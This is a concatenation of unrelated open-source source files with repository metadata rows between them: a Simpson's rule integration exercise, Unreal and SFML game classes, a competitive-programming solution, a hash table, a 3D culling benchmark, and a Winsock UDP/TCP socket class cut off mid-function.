f(x) = dx / 3.0 * (f(x0) + 4.0 * f(x1) + 2.0 * f(x2) + 4.0 * f(x3) + 2.0 *
f(x4) + ... + func[n]);
dx = b-a/n = sf/n
xi = a + i*dx = i*dx
Follow the "TODO"s to complete this exercise
*/
#include <array>
#include <cmath>
#include <iostream>
#include <vector>
double calc_theta(const double s, const std::array<double, 4>& a) {
// theta(s) = a3*s^4/4 + a2*s^3/3 + a1*s^2/2 + a0*s
double s_pow = s;
double theta = 0;
for (size_t i = 0; i < a.size(); ++i) {
theta += a[i] * s_pow / (i + 1);
s_pow *= s;
}
return theta;
}
double IntegrateBySimpson(const std::vector<double>& func, const double dx,
const std::size_t n) {
if (n == 0) {
return 0.0;
}
double sum_even = 0.0;
double sum_odd = 0.0;
for (std::size_t i = 1; i < n; ++i) {
if ((i & 1) != 0) {
sum_odd += func[i];
} else {
sum_even += func[i];
}
}
// Remember that the formula for Simpson's Rule is:
// delta_x/3*(f(x0) + 4f(x1) + 2f(x2) + 4f(x3) + 2f(x4) + ... + 4f(xn-1) +
// f(xn))
//
double result = dx / 3 * (func.front() + func.back() + 2 * sum_even + 4 * sum_odd);
return result; // FIX THIS
}
std::vector<double> generate_f_s0_sn(const double delta_s,
const std::array<double, 4>& a,
const std::size_t n) {
std::vector<double> f_s(n + 1);
for (size_t i = 0; i <= n; ++i) {
// f(x) = dx / 3.0 * (f(x0) + 4.0 * f(x1) + 2.0 * f(x2) + 4.0 * f(x3) + 2.0
// * f(x4) + ... + func[n]);
// dx = sf/n;
// xi = i*dx;
// HINT: s_i = i * delta_s;
double s_i = delta_s * i; // FIX THIS
double theta_i = calc_theta(s_i, a);
f_s[i] = std::cos(theta_i);
}
return f_s;
}
// ******* MAIN FUNCTION ********
int main(int, const char**) {
//
double sg = 10.0; // lenght of the spiral
size_t n = 9; // We'll use a n=9 Simpson's Rule
double delta_s = sg / n;
// Spiral "a" Coefficients: K(s)= a3*s^3 + a2*s^2 + a1*s + a0;
// a=[a0,a1,a2,a3]
std::array<double, 4> a{0.0, 0.045, 0.0225, -0.0027};
// Function to integrate: f(s) = cos(theta(s))
std::vector<double> f_s0_sn = generate_f_s0_sn(delta_s, a, n);
double integral_result = IntegrateBySimpson(f_s0_sn, delta_s, n);
double expected = 2.3391428316;
std::cout << (fabs(expected - integral_result) < 0.00001 ? "PASS" : "FAIL")
<< std::endl;
// std::cout << "Result: " << integral_result << std::endl;
return 0;
} | [
"demenkov@arrival.com"
] | demenkov@arrival.com |
e6268bda38a59083dd2c4996185259ebdd7014f1 | 011b9500145b64c2fbdd849e5905c4b5bbe2a3ad | /Source/QuadBall/QuadBallTrainer.cpp | 7259c081cff4907e30576c9e6e687f063ed734a7 | [] | no_license | AaronReyes-ML/Game-Practice-2 | 0c875a1de1896644e2b2d4c7c03d3674fd11e2a1 | e071b151f70a9252bd4eaafd2e02f13d49a39f4e | refs/heads/master | 2020-06-18T17:42:28.097501 | 2019-07-11T12:03:48 | 2019-07-11T12:03:48 | 196,386,230 | 2 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,280 | cpp | // Fill out your copyright notice in the Description page of Project Settings.
#include "QuadBallTrainer.h"
#include "QuadBallBall.h"
#include "QuadBallCourt.h"
#include "QuadBallCharacter.h"
#include "Engine.h"
// Sets default values
AQuadBallTrainer::AQuadBallTrainer()
{
// Set this pawn to call Tick() every frame. You can turn this off to improve performance if you don't need it.
PrimaryActorTick.bCanEverTick = true;
}
// Called when the game starts or when spawned
void AQuadBallTrainer::BeginPlay()
{
Super::BeginPlay();
}
// Called every frame
void AQuadBallTrainer::Tick(float DeltaTime)
{
Super::Tick(DeltaTime);
if (activeBall->GetBallPlayStatus() == 0 && activeBall->GetPlayerBallResponsibility() == 1)
{
trainerStatus = 1;
if (activeBall->GetReadyToServe())
{
trainerStatus = 2;
if (activeCourt->GetPlayerA()->GetAckServe())
{
trainerStatus = 3;
activeBall->ServeBall();
}
}
}
else if (activeBall->GetBallPlayStatus() !=0 && activeBall->GetBallBounceCount() >= 1 && !returned && activeBall->GetPlayerBallResponsibility() == 1)
{
trainerStatus = 4;
ReturnBall();
}
else
{
trainerStatus = 5;
}
//GEngine->AddOnScreenDebugMessage(101, 1, FColor::Green, FString("Trainer Status?: ") + FString::FromInt(trainerStatus)); FScreenMessageString* m101 = GEngine->ScreenMessages.Find(101); m101->TextScale.X = m101->TextScale.Y = 1.0f;
//GEngine->AddOnScreenDebugMessage(102, 1, FColor::Green, FString("Trainer Returned?: ") + FString::FromInt(returned)); FScreenMessageString* m102 = GEngine->ScreenMessages.Find(102); m102->TextScale.X = m102->TextScale.Y = 1.0f;
}
// Called to bind functionality to input
void AQuadBallTrainer::SetupPlayerInputComponent(UInputComponent* PlayerInputComponent)
{
Super::SetupPlayerInputComponent(PlayerInputComponent);
}
void AQuadBallTrainer::ReturnBall()
{
//GEngine->AddOnScreenDebugMessage(-1, 10, FColor::Red, FString("TRAINER RETURNING"));
FVector ballImpuseDirection = activeCourt->GetTrainerAimLocation() - activeBall->GetBallLocation();
ballImpuseDirection.Normalize();
activeBall->DoBallAction(ballImpuseDirection * impactForce);
activeBall->SetJuggleStatus(true);
returned = true;
}
| [
"52780561+AaronReyes-ML@users.noreply.github.com"
] | 52780561+AaronReyes-ML@users.noreply.github.com |
e3daa511d7fe190236223f2a6e78afebff77c4df | a368f3687a0e135befbddbd2ea54da86b9cc916e | /game/missile.h | dfc94cb8767285bee4bbd0146f6ef21f2856181d | [] | no_license | OC-MCS/p2finalproject-01-DietrichWasHere | 48fb6bdd5af7a4ad491dff50c3e6bef4c89fe3ce | 747d242f7f55cdcb36445b4a145ba99e6033251b | refs/heads/master | 2020-05-09T16:06:17.183488 | 2019-04-19T22:13:07 | 2019-04-19T22:13:07 | 181,258,275 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,062 | h | #pragma once
#include <SFML/Graphics.hpp>
using namespace sf;
// Missiles to shoot aliens; spawning / despawning dependent on Missiles class
class Missile
{
private:
Sprite missileSprite; // sprite depicting missile, holding location
public:
// constructor; pass texture by reference; ship pos determines spawn location
Missile(Texture &missileTxtr, Vector2f shipPos)
{
missileSprite.setTexture(missileTxtr);
missileSprite.setPosition(shipPos.x + (2 * missileTxtr.getSize().x), shipPos.y);
}
// change sprite's position, return false if off screen to initiate destruction
bool moveUp()
{
bool continueFlight = true; // tell program to delete dynamically alocated sprite if true
if (missileSprite.getPosition().y > 0)
{
missileSprite.move(0, -4.0f);
}
else
{
continueFlight = false;
}
return continueFlight;
}
// for collisions (check for collision with aliens)
FloatRect getCollision()
{
return missileSprite.getGlobalBounds();
}
// for drawing the missile's sprite
Sprite getSprite()
{
return missileSprite;
}
}; | [
"dietrich.versaw@eagles.oc.edu"
] | dietrich.versaw@eagles.oc.edu |
bfb4c03fc014292fc714b3755ebe25afade7d694 | 06d8bd72be274d8a295fe2e0ca3cf839b26a1b9e | /Codeforces/CF 935A.cpp | 0d6faa69944bd3b5f48cec5205226c61f9fecd76 | [] | no_license | MahiAlJawad/Competitive-Programming | dd964fdc015b2f8636b5ef9ad29f1723c9ac4d8f | 5cf0a7e29c45ebcb4cdfa92c33bee55f8cc548c6 | refs/heads/master | 2021-01-02T09:36:35.868391 | 2020-04-26T11:04:38 | 2020-04-26T11:04:38 | 99,259,828 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,005 | cpp | /******************************************************************************************************************************
*** "In the name of Allah(swt), the most gracious, most merciful. Allah(swt) blesses with knowledge to whom he wants." ***
*** Author : Mahi Al Jawad ***
*** University : Dept. of CSE, IIUC ***
*** github : https://github.com/MahiAlJawad ***
*** Email : br.mahialjawad@gmail.com ***
*** facebook : https://www.facebook.com/jawad.wretched ***
*******************************************************************************************************************************/
#include<bits/stdc++.h>
#define fin(in) freopen("in.txt", "r", stdin)
#define fout(out) freopen("out.txt", "w", stdout)
#define pb push_back
#define lng long long
#define lld I64d//for CF submissions
#define pi acos(-1.0)
#define dis(x1, y1, x2, y2) sqrt((x1-x2)*(x1-x2)+(y1-y2)*(y1-y2))
#define t_area(a, b, c, s) sqrt(s*(s-a)*(s-b)*(s-c));// s= (a+b+c)/2.0
#define t_angle(a, b, c) acos((a*a+b*b-c*c)/(2*a*b))// returns angle C in radian. a, b, c are anti-clockwise formatted and side a and b form angle C
#define forit(it,s) for(__typeof((s).end()) it=(s).begin(); it!= (s).end(); it++)
#define gcd(a,b) __gcd(a,b)
#define string_reverse(s) reverse(s.begin(), s.end())//Vector also can be reversed with this function
using namespace std;
int main()
{
lng n, x, i;
scanf("%lld", &n);
double d= n;
x= ceil(d/2);
lng cnt= 0;
for(i= 1; i<=x; i++)
{
lng a= n- i;
if(a%i== 0) cnt++;
}
printf("%lld\n", cnt);
return 0;
}
| [
"br.mahialjawad@gmail.com"
] | br.mahialjawad@gmail.com |
92ea00769ccf45ff593ec11ee251d9e0bd278901 | d103a88940f48729df72b51d9556de8f02133875 | /hash.cc | 5298feebb554b0c7d70561c9fa9f25a31ae873ee | [] | no_license | merckhung/cart | 2ef127237cc0f1a3474adef55773c95870dbad25 | 3136349e4ca77af95ffe8da6d4f7eb092126be84 | refs/heads/master | 2021-01-10T06:30:55.205955 | 2015-11-22T11:09:08 | 2015-11-22T11:09:08 | 43,980,337 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 5,552 | cc | /*
* Copyright (C) 2008 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include "utils.h"
#include "hash.h"
#include "heap.h"
static size_t _ComputeHashMemSize(size_t nr) {
return (sizeof(HashEntry_t) * nr) + sizeof(HashTable_t);
}
//
// Memory layout of HashTable_t:
// ----------------------
// Hash table header of 0 --> *Next: Hash table of 1
// ----------------------
// Hash entry 0
// Hash entry 1
// ....
// ....
// Hash entry n
// ----------------------
//
HashTable_t* AllocHashTable(void* pHeapVol, size_t nr) {
uint8_t* p;
HashTable_t* pHashTbl;
size_t sz = _ComputeHashMemSize(nr);
HeapVolume_t* ppHeapVol = (HeapVolume_t*)pHeapVol;
// Allocate memory and clean up
if (ppHeapVol) {
p = (uint8_t*)HeapAlloc(ppHeapVol, sz);
} else {
p = (uint8_t*)malloc(sz);
}
if (!p) {
return NULL;
}
memset(p, 0, sz);
// Initialize data
pHashTbl = (HashTable_t*)p;
pHashTbl->nr = nr;
pHashTbl->ptr = (HashEntry_t*)(p + sizeof(HashTable_t));
pHashTbl->pHeapVol = ppHeapVol;
// Return
return pHashTbl;
}
void FreeHashTable(HashTable_t* tbl) {
HashTable_t* tmp = tbl;
// Free the list list
while (tbl) {
tmp = tbl;
tbl = tbl->Next;
if (tmp->pHeapVol) {
HeapFree((HeapVolume_t*)tmp->pHeapVol, (void*)tmp);
} else {
free((void*)tmp);
}
}
}
size_t GenHashKey(const uint8_t* string) {
size_t hash = 0;
for (; *string != '\0'; ++string) {
hash = hash * 31 + *string;
}
return hash;
}
size_t GenHashKeyLen(const uint8_t* string, size_t len) {
size_t hash = 0;
for (;; ++string, --len) {
if (*string == '\0') {
break;
} else if (!len) {
break;
}
hash = hash * 31 + *string;
}
return hash;
}
HashEntry_t* IsHashExist(HashTable_t* tbl, size_t hash) {
HashTable_t* p;
HashEntry_t* e;
// Iterate each table
for (p = tbl; p; p = p->Next) {
// Iterate each entry
for (size_t i = 0; i < p->nr; ++i) {
e = p->ptr + i;
if (e->key == 0) {
// If key == 0, means it's not assigned
continue;
} else if (e->key == hash) {
// If the key matches, return the entry
return e;
}
}
}
// Doesn't exist, return NULL
return NULL;
}
HashEntry_t* InsertHashEntry(HashTable_t* tbl, size_t hash, void* ptr) {
HashTable_t* p;
HashEntry_t* e = IsHashExist(tbl, hash);
bool found = false;
// If it exists, return NULL
if (e != NULL) {
return NULL;
}
Again:
// Iterate each table
for (p = tbl; p; p = p->Next) {
// Iterate each entry
for (size_t i = 0; i < p->nr; ++i) {
e = p->ptr + i;
if (e->key == 0) {
// If key == 0, means it's available
found = true;
p->cnt++;
break;
}
}
}
// Check
if (found == false) {
pdbg("Extending hash table\n");
// Iterate to the last one
for (p = tbl; p->Next; p = p->Next) {}
// Allocate a new one and append it
if (p->pHeapVol) {
p->Next = AllocHashTable(p->pHeapVol, p->nr);
} else {
p->Next = AllocHashTable(NULL, p->nr);
}
if (!p->Next) {
pdbg("Out of memory\n");
return NULL;
}
goto Again;
}
// Insert
e->key = hash;
e->ptr = ptr;
// Return
return e;
}
void* RemoveHashEntry(HashTable_t* tbl, size_t hash) {
HashTable_t* p;
HashEntry_t* e;
// Iterate each table
for (p = tbl; p; p = p->Next) {
// Iterate each entry
for (size_t i = 0; i < p->nr; ++i) {
e = p->ptr + i;
if (e->key == 0) {
// If key == 0, means it's not assigned
continue;
} else if (e->key == hash) {
// If the key matches, erase the entry
p->cnt--;
e->key = 0;
e->ptr = (void*)0;
}
}
}
// Doesn't exist, return NULL
return NULL;
}
#ifdef CART_DEBUG
void DumpHashTable(HashTable_t* tbl) {
HashTable_t* p;
HashEntry_t* e;
uint32_t idx = 0;
uint32_t cel;
fprintf(stderr, "---------------------------------------------------------------------------\n");
fprintf(stderr, " HASH table dumping\n");
fprintf(stderr, "---------------------------------------------------------------------------\n");
// Iterate each table
for (p = tbl; p; p = p->Next, ++idx) {
fprintf(stderr, "Chaining No. : %d\n", idx);
fprintf(stderr, "Number of amount cell : %u\n", (unsigned int)p->nr);
fprintf(stderr, "Number of used cell : %u\n", (unsigned int)p->cnt);
// Iterate each entry
cel = 0;
for (size_t i = 0; i < p->nr; ++i, ++cel) {
e = p->ptr + i;
if (e->key == 0) {
// If key == 0, means it's not assigned
continue;
} else {
fprintf(stderr, " [%d][%d] Key[0x%8.8X] = %p\n", idx, cel,
(unsigned int)e->key,
e->ptr);
}
}
}
fprintf(stderr, "---------------------------------------------------------------------------\n");
}
#endif
| [
"merckhung@gmail.com"
] | merckhung@gmail.com |
8d8fc3b3a149b016c14dd423366180f8292b773d | 2c47c8f763c8b71fd26a8cd97c529391d1c01a22 | /src/examples/Applets/App_CullingBenchmark.cpp | 215e1d9038de162b77c796441b3ad65b75111710 | [
"BSD-2-Clause"
] | permissive | MicBosi/VisualizationLibrary | 6780a30431085397ce1de4e8d57e618da5585408 | d2a0e321288152008957e29a0bc270ad192f75be | refs/heads/master | 2023-08-24T15:10:28.381277 | 2022-01-04T21:48:24 | 2022-01-04T21:48:24 | 32,726,740 | 324 | 92 | NOASSERTION | 2023-08-04T09:18:11 | 2015-03-23T10:57:58 | C++ | UTF-8 | C++ | false | false | 6,455 | cpp | /**************************************************************************************/
/* */
/* Visualization Library */
/* http://visualizationlibrary.org */
/* */
/* Copyright (c) 2005-2020, Michele Bosi */
/* All rights reserved. */
/* */
/* Redistribution and use in source and binary forms, with or without modification, */
/* are permitted provided that the following conditions are met: */
/* */
/* - Redistributions of source code must retain the above copyright notice, this */
/* list of conditions and the following disclaimer. */
/* */
/* - Redistributions in binary form must reproduce the above copyright notice, this */
/* list of conditions and the following disclaimer in the documentation and/or */
/* other materials provided with the distribution. */
/* */
/* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND */
/* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED */
/* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE */
/* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR */
/* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES */
/* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; */
/* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON */
/* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT */
/* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS */
/* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */
/* */
/**************************************************************************************/
#include "BaseDemo.hpp"
#include <vlGraphics/SceneManagerActorKdTree.hpp>
#include <vlGraphics/Light.hpp>
#include <vlGraphics/Text.hpp>
#include <vlGraphics/FontManager.hpp>
#include <vlGraphics/GeometryPrimitives.hpp>
class App_CullingBenchmark: public BaseDemo
{
public:
App_CullingBenchmark() {}
virtual void initEvent()
{
vl::Log::notify(appletInfo());
mSceneKdTree = new vl::SceneManagerActorKdTree;
rendering()->as<vl::Rendering>()->sceneManagers()->push_back(mSceneKdTree.get());
createScene(mActors);
sceneManager()->tree()->actors()->set(mActors);
sceneManager()->setCullingEnabled(true);
mText = new vl::Text;
mText->setFont( vl::defFontManager()->acquireFont("/font/bitstream-vera/VeraMono.ttf", 10, false) );
mText->setAlignment(vl::AlignHCenter | vl::AlignTop);
mText->setViewportAlignment(vl::AlignHCenter | vl::AlignTop);
mText->setColor(vl::white);
mText->translate(0,-10,0);
vl::Actor* text_act = sceneManager()->tree()->addActor(mText.get(), new vl::Effect);
text_act->effect()->shader()->enable(vl::EN_BLEND);
mText->setText("Press 1, 2 or 3 to select culling method");
}
void keyPressEvent(unsigned short ch, vl::EKey key)
{
BaseDemo::keyPressEvent(ch,key);
if (key == vl::Key_3)
{
sceneManager()->tree()->actors()->clear();
vl::Time timer;
timer.start();
vl::Log::print("KdTree compilation in progres...\n");
mSceneKdTree->tree()->buildKdTree(mActors);
mSceneKdTree->setBoundsDirty(true);
vl::Log::print( vl::Say("KdTree compilation time: %.1n, %.1n obj/s\n") << timer.elapsed() << mActors.size() / timer.elapsed() );
vl::Actor* text_act = sceneManager()->tree()->addActor(mText.get(), new vl::Effect);
text_act->effect()->shader()->enable(vl::EN_BLEND);
mText->setText("KdTree culling");
}
else
if (key == vl::Key_2)
{
sceneManager()->tree()->actors()->clear();
sceneManager()->tree()->actors()->set(mActors);
sceneManager()->setCullingEnabled(true);
vl::Actor* text_act = sceneManager()->tree()->addActor(mText.get(), new vl::Effect);
text_act->effect()->shader()->enable(vl::EN_BLEND);
mText->setText("Simple culling");
}
else
if (key == vl::Key_1)
{
sceneManager()->tree()->actors()->clear();
sceneManager()->tree()->actors()->set(mActors);
sceneManager()->setCullingEnabled(false);
vl::Actor* text_act = sceneManager()->tree()->addActor(mText.get(), new vl::Effect);
text_act->effect()->shader()->enable(vl::EN_BLEND);
mText->setText("Culling off");
}
}
void createScene(vl::ActorCollection& actors)
{
actors.clear();
vl::ref<vl::Effect> effect = new vl::Effect;
effect->shader()->enable(vl::EN_DEPTH_TEST);
effect->shader()->enable(vl::EN_LIGHTING);
effect->shader()->setRenderState( new vl::Light, 0 );
vl::ref<vl::Geometry> ball = vl::makeUVSphere(vl::vec3(0,0,0),1,20,20);
ball->computeNormals();
int volume = 1000;
for(int i=0; i<100000; ++i)
{
vl::ref<vl::Actor> actor = new vl::Actor(ball.get(),effect.get(),new vl::Transform);
actors.push_back(actor.get());
actor->transform()->setLocalMatrix(vl::mat4::getTranslation(rand()%volume-volume/2.0f, rand()%volume-volume/2.0f, rand()%volume-volume/2.0f));
actor->transform()->computeWorldMatrix();
}
}
protected:
vl::ref<vl::SceneManagerActorKdTree> mSceneKdTree;
vl::ActorCollection mActors;
vl::ref<vl::Text> mText;
};
// Have fun!
BaseDemo* Create_App_CullingBenchmark() { return new App_CullingBenchmark; }
| [
"hello@michelebosi.com"
] | hello@michelebosi.com |
6c24997a9e2fcdaefa8a6b4099ee5a32cd72d512 | 2c1aca074b93883f19fbb75d6625dc61681775d2 | /os/windows/NetworkSocketWinsock.cpp | 04e0d483305ad38c73dfcd97b530fdb552f2d1b4 | [
"Unlicense"
] | permissive | araguaci/libtgvoip | ad7e952812784fbc68e6d27bf3013093a5abd7b7 | 16711e202393ae7e1b160436f4291c5f06a3d375 | refs/heads/public | 2021-07-29T22:15:39.259221 | 2019-03-19T10:42:18 | 2019-03-19T10:42:18 | 177,497,308 | 0 | 0 | Unlicense | 2021-07-17T21:33:05 | 2019-03-25T02:05:56 | C++ | UTF-8 | C++ | false | false | 22,837 | cpp | //
// libtgvoip is free and unencumbered public domain software.
// For more information, see http://unlicense.org or the UNLICENSE file
// you should have received with this source code distribution.
//
#include <winsock2.h>
#include <ws2tcpip.h>
#include "NetworkSocketWinsock.h"
#if WINAPI_FAMILY==WINAPI_FAMILY_PHONE_APP
#else
#include <IPHlpApi.h>
#endif
#include <assert.h>
#include "../../logging.h"
#include "../../VoIPController.h"
#include "WindowsSpecific.h"
#include "../../Buffers.h"
using namespace tgvoip;
NetworkSocketWinsock::NetworkSocketWinsock(NetworkProtocol protocol) : NetworkSocket(protocol), lastRecvdV4(0), lastRecvdV6("::0"){
needUpdateNat64Prefix=true;
nat64Present=false;
switchToV6at=0;
isV4Available=false;
closing=false;
fd=INVALID_SOCKET;
#ifdef TGVOIP_WINXP_COMPAT
DWORD version=GetVersion();
isAtLeastVista=LOBYTE(LOWORD(version))>=6; // Vista is 6.0, XP is 5.1 and 5.2
#else
isAtLeastVista=true;
#endif
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
LOGD("Initialized winsock, version %d.%d", wsaData.wHighVersion, wsaData.wVersion);
tcpConnectedAddress=NULL;
if(protocol==PROTO_TCP)
timeout=10.0;
lastSuccessfulOperationTime=VoIPController::GetCurrentTime();
}
NetworkSocketWinsock::~NetworkSocketWinsock(){
if(tcpConnectedAddress)
delete tcpConnectedAddress;
if(pendingOutgoingPacket)
delete pendingOutgoingPacket;
}
void NetworkSocketWinsock::SetMaxPriority(){
}
void NetworkSocketWinsock::Send(NetworkPacket *packet){
if(!packet || (protocol==PROTO_UDP && !packet->address)){
LOGW("tried to send null packet");
return;
}
int res;
if(protocol==PROTO_UDP){
IPv4Address *v4addr=dynamic_cast<IPv4Address *>(packet->address);
if(isAtLeastVista){
sockaddr_in6 addr;
if(v4addr){
if(needUpdateNat64Prefix && !isV4Available && VoIPController::GetCurrentTime()>switchToV6at && switchToV6at!=0){
LOGV("Updating NAT64 prefix");
nat64Present=false;
addrinfo *addr0;
int res=getaddrinfo("ipv4only.arpa", NULL, NULL, &addr0);
if(res!=0){
LOGW("Error updating NAT64 prefix: %d / %s", res, gai_strerror(res));
}else{
addrinfo *addrPtr;
unsigned char *addr170=NULL;
unsigned char *addr171=NULL;
for(addrPtr=addr0; addrPtr; addrPtr=addrPtr->ai_next){
if(addrPtr->ai_family==AF_INET6){
sockaddr_in6 *translatedAddr=(sockaddr_in6 *) addrPtr->ai_addr;
uint32_t v4part=*((uint32_t *) &translatedAddr->sin6_addr.s6_addr[12]);
if(v4part==0xAA0000C0 && !addr170){
addr170=translatedAddr->sin6_addr.s6_addr;
}
if(v4part==0xAB0000C0 && !addr171){
addr171=translatedAddr->sin6_addr.s6_addr;
}
char buf[INET6_ADDRSTRLEN];
//LOGV("Got translated address: %s", inet_ntop(AF_INET6, &translatedAddr->sin6_addr, buf, sizeof(buf)));
}
}
if(addr170 && addr171 && memcmp(addr170, addr171, 12)==0){
nat64Present=true;
memcpy(nat64Prefix, addr170, 12);
char buf[INET6_ADDRSTRLEN];
//LOGV("Found nat64 prefix from %s", inet_ntop(AF_INET6, addr170, buf, sizeof(buf)));
}else{
LOGV("Didn't find nat64");
}
freeaddrinfo(addr0);
}
needUpdateNat64Prefix=false;
}
memset(&addr, 0, sizeof(sockaddr_in6));
addr.sin6_family=AF_INET6;
*((uint32_t *) &addr.sin6_addr.s6_addr[12])=v4addr->GetAddress();
if(nat64Present)
memcpy(addr.sin6_addr.s6_addr, nat64Prefix, 12);
else
addr.sin6_addr.s6_addr[11]=addr.sin6_addr.s6_addr[10]=0xFF;
}else{
IPv6Address *v6addr=dynamic_cast<IPv6Address *>(packet->address);
assert(v6addr!=NULL);
memcpy(addr.sin6_addr.s6_addr, v6addr->GetAddress(), 16);
}
addr.sin6_port=htons(packet->port);
res=sendto(fd, (const char*)packet->data, packet->length, 0, (const sockaddr *) &addr, sizeof(addr));
}else if(v4addr){
sockaddr_in addr;
addr.sin_addr.s_addr=v4addr->GetAddress();
addr.sin_port=htons(packet->port);
addr.sin_family=AF_INET;
res=sendto(fd, (const char*)packet->data, packet->length, 0, (const sockaddr*)&addr, sizeof(addr));
}
}else{
res=send(fd, (const char*)packet->data, packet->length, 0);
}
if(res==SOCKET_ERROR){
int error=WSAGetLastError();
if(error==WSAEWOULDBLOCK){
if(pendingOutgoingPacket){
LOGE("Got EAGAIN but there's already a pending packet");
failed=true;
}else{
LOGV("Socket %d not ready to send", fd);
pendingOutgoingPacket=new Buffer(packet->length);
pendingOutgoingPacket->CopyFrom(packet->data, 0, packet->length);
readyToSend=false;
}
}else{
LOGE("error sending: %d / %s", error, WindowsSpecific::GetErrorMessage(error).c_str());
if(error==WSAENETUNREACH && !isV4Available && VoIPController::GetCurrentTime()<switchToV6at){
switchToV6at=VoIPController::GetCurrentTime();
LOGI("Network unreachable, trying NAT64");
}
}
}else if(res<packet->length && protocol==PROTO_TCP){
if(pendingOutgoingPacket){
LOGE("send returned less than packet length but there's already a pending packet");
failed=true;
}else{
LOGV("Socket %d not ready to send", fd);
pendingOutgoingPacket=new Buffer(packet->length-res);
pendingOutgoingPacket->CopyFrom(packet->data+res, 0, packet->length-res);
readyToSend=false;
}
}
}
bool NetworkSocketWinsock::OnReadyToSend(){
if(pendingOutgoingPacket){
NetworkPacket pkt={0};
pkt.data=**pendingOutgoingPacket;
pkt.length=pendingOutgoingPacket->Length();
Send(&pkt);
delete pendingOutgoingPacket;
pendingOutgoingPacket=NULL;
return false;
}
readyToSend=true;
return true;
}
void NetworkSocketWinsock::Receive(NetworkPacket *packet){
if(protocol==PROTO_UDP){
if(isAtLeastVista){
int addrLen=sizeof(sockaddr_in6);
sockaddr_in6 srcAddr;
int res=recvfrom(fd, (char*)packet->data, packet->length, 0, (sockaddr *) &srcAddr, (socklen_t *) &addrLen);
if(res!=SOCKET_ERROR)
packet->length=(size_t) res;
else{
int error=WSAGetLastError();
LOGE("error receiving %d / %s", error, WindowsSpecific::GetErrorMessage(error).c_str());
packet->length=0;
return;
}
//LOGV("Received %d bytes from %s:%d at %.5lf", len, inet_ntoa(srcAddr.sin_addr), ntohs(srcAddr.sin_port), GetCurrentTime());
if(!isV4Available && IN6_IS_ADDR_V4MAPPED(&srcAddr.sin6_addr)){
isV4Available=true;
LOGI("Detected IPv4 connectivity, will not try IPv6");
}
if(IN6_IS_ADDR_V4MAPPED(&srcAddr.sin6_addr) || (nat64Present && memcmp(nat64Prefix, srcAddr.sin6_addr.s6_addr, 12)==0)){
in_addr v4addr=*((in_addr *) &srcAddr.sin6_addr.s6_addr[12]);
lastRecvdV4=IPv4Address(v4addr.s_addr);
packet->address=&lastRecvdV4;
}else{
lastRecvdV6=IPv6Address(srcAddr.sin6_addr.s6_addr);
packet->address=&lastRecvdV6;
}
packet->port=ntohs(srcAddr.sin6_port);
}else{
int addrLen=sizeof(sockaddr_in);
sockaddr_in srcAddr;
int res=recvfrom(fd, (char*)packet->data, packet->length, 0, (sockaddr *) &srcAddr, (socklen_t *) &addrLen);
if(res!=SOCKET_ERROR)
packet->length=(size_t) res;
else{
LOGE("error receiving %d", WSAGetLastError());
packet->length=0;
return;
}
lastRecvdV4=IPv4Address(srcAddr.sin_addr.s_addr);
packet->address=&lastRecvdV4;
packet->port=ntohs(srcAddr.sin_port);
}
packet->protocol=PROTO_UDP;
}else if(protocol==PROTO_TCP){
int res=recv(fd, (char*)packet->data, packet->length, 0);
if(res==SOCKET_ERROR){
int error=WSAGetLastError();
LOGE("Error receiving from TCP socket: %d / %s", error, WindowsSpecific::GetErrorMessage(error).c_str());
failed=true;
}else{
packet->length=(size_t)res;
packet->address=tcpConnectedAddress;
packet->port=tcpConnectedPort;
packet->protocol=PROTO_TCP;
}
}
}
void NetworkSocketWinsock::Open(){
if(protocol==PROTO_UDP){
fd=socket(isAtLeastVista ? AF_INET6 : AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(fd==INVALID_SOCKET){
int error=WSAGetLastError();
LOGE("error creating socket: %d", error);
failed=true;
return;
}
int res;
if(isAtLeastVista){
DWORD flag=0;
res=setsockopt(fd, IPPROTO_IPV6, IPV6_V6ONLY, (const char*)&flag, sizeof(flag));
if(res==SOCKET_ERROR){
LOGE("error enabling dual stack socket: %d", WSAGetLastError());
failed=true;
return;
}
}
u_long one=1;
ioctlsocket(fd, FIONBIO, &one);
SetMaxPriority();
int tries=0;
sockaddr* addr;
sockaddr_in addr4;
sockaddr_in6 addr6;
int addrLen;
if(isAtLeastVista){
//addr.sin6_addr.s_addr=0;
memset(&addr6, 0, sizeof(sockaddr_in6));
//addr.sin6_len=sizeof(sa_family_t);
addr6.sin6_family=AF_INET6;
addr=(sockaddr*)&addr6;
addrLen=sizeof(addr6);
}else{
sockaddr_in addr4;
addr4.sin_addr.s_addr=0;
addr4.sin_family=AF_INET;
addr=(sockaddr*)&addr4;
addrLen=sizeof(addr4);
}
for(tries=0;tries<10;tries++){
uint16_t port=htons(GenerateLocalPort());
if(isAtLeastVista)
((sockaddr_in6*)addr)->sin6_port=port;
else
